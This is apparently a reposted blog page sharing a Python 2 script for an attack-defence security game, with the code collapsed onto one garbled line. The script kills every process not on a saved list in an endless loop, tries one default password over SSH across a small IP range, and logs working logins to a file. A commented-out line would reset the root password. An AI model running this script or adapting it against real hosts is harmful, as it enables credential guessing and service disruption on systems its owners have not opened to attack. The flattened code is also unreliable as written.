Information security game Kill process script

Source: Internet
Author: User

The game is over, let it out.

Protect the original process and kill the new process

#-*- coding:utf-8 -*-#2018 -01-17#by-duwentao#version:python 2.7.9#python2.6.6 can also be used import  Osimport signalpid_list=[] #设置最大进程def  max_pid (): F = open ("/proc/sys/kernel/pid_max", "R") PID  = int (F.read (). Strip ("\ n")) F.close () if pid != 1024:print pid# Set maximum number of processes 1024os.system ("echo \" 1024\ " >>  /proc/sys/kernel/pid_max") else:print  " max_pid : 1024 "#获取需要保护的pid进程def  get_pid (): #判断要保护的进程是否存在, does not exist get If os.path.exists (" Pid.txt ") :p asselse:os.system ("ps aux |awk \ ' {print $2}\ '  |sed \ ' s/pid/0/g\ '  >>  pid.txt ") #把要保护的进行加到列表里f  = open (" Pid.txt "," R ") For pid in f.readlines ():p id  = int (Pid.strip ("\ n")) Pid_list.append (PID) f.close () Return pid_listdef kill_pid (pid_list): self_ Pid = os.getpid ()   #获取自己程序的pidwhile  true:for i in range (1,1025): If i  in pid_list:passelif&nbSP; (i == self_pid):p Asselse:try:a = os.kill (i, signal. SIGKILL) print  ' has killed PID for the process of%s, the return value is:%s '  %  (i, a) except:passdef get_ip ():ip5 =  Int (raw_input ("Enter the number (3 or 4) of the IP you want to loop:"). Strip ("\ n")) If ip5 == 3 :ip1 = int (raw_ Input ("Enter IP first bit:"). Strip ("\ n")) Ip2 = int (raw_input ("Enter IP second bit:"). Strip ("\ n")) Ip3 = int (raw_ Input ("Please enter IP third bit:"). Strip ("\ n")) Ip4 = int (raw_input ("Enter IP fourth bit:"). Strip ("\ n")) Username = raw _input ("Enter user name:"). Strip ("\ n") passwd = raw_input ("Please enter default password:"). Strip ("\ n") for ip3 in  Range (105,107): Ip = str (IP1)  +  "."  + str (IP2)  +  "."   + str (IP3)  +  "."  + str (IP4) ssh_connect (ip,username,passwd)   #调用连接函数elif  ip5 == 4:ip1 =  Int (raw_input ("Enter IP first bit:"). Strip ("\ n")) Ip2 = int (raw_input ("Enter IP second bit:"). Strip ("\ n")) ip3 =  Int (raw_input ("Please enter IP third bit: "). Strip (" \ n ")) #ip4  = int (raw_input (" Enter IP fourth bit: "). Strip (" \ n ")) Username = raw_input (" Please enter the user name : "). Strip (" \ n ") passwd = raw_input (" Please enter default password: "). Strip (" \ n ") For ip4 in range (105,107): IP  = str (IP1)  +  "."  + str (IP2)  +  "."   + str (IP3)  +  "."  + str (IP4) ssh_connect (ip,username,passwd) else:print  ("Incorrect input, exiting") exit () Def ssh_connect (IP , username,passwd):try:         #python2.6.6 Modules          import paramiko    except:         print  "Please use python2.6.6 to run or install Paramiko module" Try:ssh = paramiko. Sshclient ()         ssh.set_missing_host_key_policy (Paramiko. Autoaddpolicy ())         ssh.connect (ip,username=username,password= passwd,timeout= 1 )          #os. System (" echo centos | passwd --stdin  Root ")         #  change root password to centos         f=open (' Ssh.txt ', ' a ')         f.write ("Ip:%s,username :%s,password:%s\n " % (IP,USERNAME,PASSWD))         f.close ()          ssh.close () except:        passdef  menu ():while true:print  "\033[32m -------Please select------\033[0m" print  "\033[32m 1. Gets and modifies the maximum pid\033[0m "print " \033[32m 2. Gets the protected PID value \033[0m "print " \033[32m 3. Get ssh weak password \033[0m " print  "\033[32m 4. Kill unprotected pid\033[0m" print  "\033[32m 5. Exit this program \033[0m" Try:c =int (raw_ Input ("Please enter the ordinal you want to select:")) except:print  "\033[31m your input is wrong \033[0m" Continueif c ==&nbSp;1:max_pid () elif  (c == 2): Get_pid () elif  ( c == 3 ): Get_ip ()   elif  (c == 4): Kill_pid (pid_list) elif  ( c == 5 ): Exit () else:print  "\033[31m your input is wrong \033[0m" if __name__ ==  ' __main__ ':p rint ( "It is best to change the Chinese into English to avoid garbled" menu ()

Information security game Kill process script

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.